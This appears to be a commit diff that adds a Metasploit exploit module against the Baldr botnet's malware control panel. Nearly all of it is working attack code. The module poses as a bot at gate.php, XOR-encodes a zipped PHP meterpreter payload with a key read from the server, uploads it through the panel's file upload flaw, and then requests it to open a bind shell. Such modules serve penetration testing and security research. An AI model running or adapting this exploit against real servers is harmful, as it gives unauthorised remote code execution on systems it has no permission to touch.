1+ ##
2+ # This module requires Metasploit: https://metasploit.com/download
3+ # Current source: https://github.com/rapid7/metasploit-framework
4+ ##
5+
6+ require 'net/http'
7+
8+ class MetasploitModule < Msf ::Exploit ::Remote
9+ Rank = ExcellentRanking
10+ include Msf ::Exploit ::Remote ::HttpClient
11+
12+ def initialize ( info = { } )
13+ super ( update_info ( info ,
14+ 'Name' => "Baldr Botnet Panel Shell Upload Exploit" ,
15+ 'Description' => %q{
16+ This module exploits the file upload vulnerability of baldr malware panel.
17+ } ,
18+ 'License' => MSF_LICENSE ,
19+ 'Author' =>
20+ [
21+ 'Ege Balcı <[email protected] >' # author & msf module 22+ ] ,
23+ 'References' =>
24+ [
25+ [ 'URL' , 'https://prodaft.com' ]
26+ ] ,
27+ 'DefaultOptions' =>
28+ {
29+ 'SSL' => false ,
30+ 'WfsDelay' => 5 ,
31+ } ,
32+ 'Platform' => [ 'php' ] ,
33+ 'Arch' => [ ARCH_PHP ] ,
34+ 'Targets' =>
35+ [
36+ [ 'Auto' ,
37+ {
38+ 'Platform' => 'PHP' ,
39+ 'Arch' => ARCH_PHP ,
40+ 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
41+ }
42+ ] ,
43+ [ 'Baldr <= v2.0' ,
44+ {
45+ 'Platform' => 'PHP' ,
46+ 'Arch' => ARCH_PHP ,
47+ 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
48+ }
49+ ] ,
50+ [ 'Baldr v2.2' ,
51+ {
52+ 'Platform' => 'PHP' ,
53+ 'Arch' => ARCH_PHP ,
54+ 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
55+ }
56+ ] ,
57+ [ 'Baldr v3.0 & v3.1' ,
58+ {
59+ 'Platform' => 'PHP' ,
60+ 'Arch' => ARCH_PHP ,
61+ 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/bind_tcp' }
62+ }
63+ ]
64+ ] ,
65+ 'Privileged' => false ,
66+ 'DisclosureDate' => "Dec 19 2018" ,
67+ 'DefaultTarget' => 0
68+ ) )
69+
70+ register_options (
71+ [
72+ OptString . new ( 'TARGETURI' , [ true , 'The URI of the baldr gate' , '/' ] ) ,
73+ ]
74+ )
75+ end
76+
77+ def check
78+ res = send_request_cgi (
79+ 'method' => 'GET' ,
80+ 'uri' => normalize_uri ( target_uri . path , "/gate.php" )
81+ )
82+
83+ ver = ''
84+
85+ if res . code == 200
86+ if res . body . include? ( '~;~' )
87+ targets [ 3 ] = targets [ 0 ]
88+ #target = targets[3]
89+ ver = '>= v3.0'
90+ elsif res . body . include? ( ';' )
91+ #target = targets[2]
92+ targets [ 2 ] = targets [ 0 ]
93+ ver = 'v2.2'
94+ elsif res . body . size < 4
95+ targets [ 1 ] = targets [ 0 ]
96+ #target = targets[1]
97+ ver = '<= v2.0'
98+ else
99+ Exploit ::CheckCode ::Safe
100+ end
101+ print_status ( "Baldr verison: #{ ver } " )
102+ Exploit ::CheckCode ::Vulnerable
103+ else
104+ Exploit ::CheckCode ::Safe
105+ end
106+ end
107+
108+ def exploit
109+
110+ name = '.' +Rex ::Text . rand_text_alpha ( 4 )
111+ files =
112+ [
113+ { data : payload . encoded , fname : "#{ name } .php" }
114+ ]
115+ zip = Msf ::Util ::EXE . to_zip ( files )
116+ hwid = Rex ::Text . rand_text_alpha ( 8 ) . upcase
117+
118+ if targets [ 0 ]
119+ check
120+ end
121+
122+
123+ case target
124+ when targets [ 3 ]
125+ res = send_request_cgi ( {
126+ 'method' => 'GET' ,
127+ 'uri' => normalize_uri ( target_uri . path , "/gate.php" ) }
128+ )
129+ key = res . body . to_s . split ( '~;~' ) [ 0 ]
130+ print_good ( "Key: #{ key } " )
131+
132+ data = "hwid=#{ hwid } &os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0"
133+ data = xor ( data , key )
134+
135+ res = send_request_cgi ( {
136+ 'method' => 'GET' ,
137+ 'uri' => normalize_uri ( target_uri . path , "/gate.php" ) ,
138+ 'data' => data . to_s
139+ }
140+ )
141+
142+ if res . code == 200
143+ print_good ( "Bot successfully registered." )
144+ else
145+ print_error ( "New bot register failed !" )
146+ return false
147+ end
148+
149+ data = xor ( zip . to_s , key )
150+ form = Rex ::MIME ::Message . new
151+ form . add_part ( data . to_s , 'application/octet-stream' , 'binary' , "form-data; name=\" file\" ; filename=\" file.zip\" " )
152+
153+ res = send_request_cgi (
154+ 'method' => 'POST' ,
155+ 'uri' => normalize_uri ( target_uri . path , "/gate.php" ) ,
156+ 'ctype' => "multipart/form-data; boundary=#{ form . bound } " ,
157+ 'data' => form . to_s
158+ )
159+ if res && ( res . code == 200 ||res . code == 100 )
160+ print_good ( "Payload uploaded to /logs/#{ hwid } /#{ name } .php" )
161+ else
162+ print_error ( "Server responded with code #{ res . code } " ) if res
163+ print_error ( "Failed to upload payload." )
164+ return false
165+ end
166+
167+ when targets [ 2 ]
168+ res = send_request_cgi ( {
169+ 'method' => 'GET' ,
170+ 'uri' => normalize_uri ( target_uri . path , "/gate.php" ) }
171+ )
172+ key = res . body . to_s . split ( ';' ) [ 0 ]
173+ print_good ( "Key: #{ key } " )
174+ data = "hwid=#{ hwid } &os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***"
175+ data << zip . to_s
176+
177+ result = ""
178+ codepoints = data . each_codepoint . to_a
179+ codepoints . each_index do |i |
180+ result += ( codepoints [ i ] ^ key [ i % key . size ] . ord ) . chr
181+ end
182+
183+ res = send_request_cgi (
184+ 'method' => 'POST' ,
185+ 'uri' => normalize_uri ( target_uri . path , "/gate.php" ) ,
186+ 'data' => result . to_s
187+ )
188+ if res && ( res . code == 200 ||res . code == 100 )
189+ print_good ( "Payload uploaded to /logs/#{ hwid } /#{ name } .php" )
190+ else
191+ print_error ( "Server responded with code #{ res . code } " ) if res
192+ print_error ( "Failed to upload payload." )
193+ return false
194+ end
195+ else
196+ res = send_request_cgi (
197+ 'method' => 'POST' ,
198+ 'uri' => normalize_uri ( target_uri . path , "/gate.php" ) ,
199+ 'data' => zip . to_s ,
200+ 'encode_params' => true ,
201+ 'vars_get' => {
202+ 'hwid' => hwid ,
203+ 'os' => 'Windows 7 x64' ,
204+ 'cookie' => '0' ,
205+ 'pswd' => '0' ,
206+ 'credit' => '0' ,
207+ 'wallet' => '0' ,
208+ 'file' => '1' ,
209+ 'autofill' => '0' ,
210+ 'version' => 'v2.0'
211+ }
212+ )
213+
214+ if res && ( res . code == 200 ||res . code == 100 )
215+ print_good ( "Payload uploaded to /logs/#{ hwid } /#{ name } .php" )
216+ else
217+ print_error ( "Server responded with code #{ res . code } " ) if res
218+ print_error ( "Failed to upload payload." )
219+ return false
220+ end
221+ end
222+
223+
224+ send_request_cgi ( {
225+ 'method' => 'GET' ,
226+ 'uri' => normalize_uri ( target_uri . path , "/logs/#{ hwid } /#{ name } .php" ) } , 3
227+ )
228+
229+ print_good ( "Payload successfully triggered !" )
230+ end
231+
232+ def xor ( data , key )
233+ result = ""
234+ codepoints = data . each_codepoint . to_a
235+ codepoints . each_index do |i |
236+ result += ( codepoints [ i ] ^ key [ i % key . size ] . ord ) . chr
237+ end
238+ return result
239+ end
240+
241+
242+ end
0 commit comments